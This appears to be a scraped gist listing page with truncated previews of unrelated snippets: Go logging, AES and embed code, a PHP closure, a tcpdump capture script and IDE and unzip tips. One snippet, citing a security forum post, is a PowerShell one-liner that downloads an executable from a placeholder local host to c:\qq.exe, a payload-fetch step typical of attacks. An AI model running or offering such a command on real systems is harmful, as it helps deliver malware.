This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"github.com/satori/go.uuid" | |
"github.com/sirupsen/logrus" | |
) | |
type HookLog struct { | |
TraceId string | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"runtime/debug" | |
"log" | |
) | |
func main() { | |
// 遍历导入包版本 | |
build, ok := debug.ReadBuildInfo() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$count = 0; | |
$worker = function (&$count) { | |
if ($count < 2) { | |
$count += 1; | |
return false; | |
} | |
return true; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
program='static-tcpdump' | |
lockfile='/tmp/tcpdump.lock' | |
capture() { | |
if [ !isrun ];then | |
echo "tcpdump start running" | |
/tmp/$program -i any -w auto.pcap & | |
echo "running" > $lockfile |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Goland start error with wrong installed plugins | |
# https://intellij-support.jetbrains.com/hc/en-us/articles/206544519 | |
cd ~/Library/Application Support/JetBrains/GoLand2020.3/plugins | |
rm -rf your_last_install_plugin | |
# | |
restart goland |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# https://xz.aliyun.com/t/1649/ | |
powershell (new-object System.Net.WebClient).DownloadFile('http://127.0.0.1/qq.exe','c:\qq.exe'); | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// https://pkg.go.dev/fmt | |
// 5. If an operand implements method String() string, that method will be invoked to convert the object to a string, which will then be formatted as required by the verb (if any). | |
// For compound operands such as slices and structs, the format applies to the elements of each operand, recursively, not to the operand as a whole. Thus %q will quote each element of a slice of strings, and %6.2f will control formatting for each element of a floating-point array. | |
// However, when printing a byte slice with a string-like verb (%s %q %x %X), it is treated identically to a string, as a single item. | |
// To avoid recursion in cases such as | |
// type X string | |
// func (x X) String() string { return Sprintf("<%s>", x) } | |
// convert the value before recurring: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"crypto/aes" | |
"encoding/base64" | |
"errors" | |
) | |
type Aes struct{} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"embed" | |
"fmt" | |
"io/fs" | |
"log" | |
"net/http" | |
"os" | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# debian | |
# verison: 6.0 | |
# `-a` | |
$unzip -a demo.zip |
OlderNewer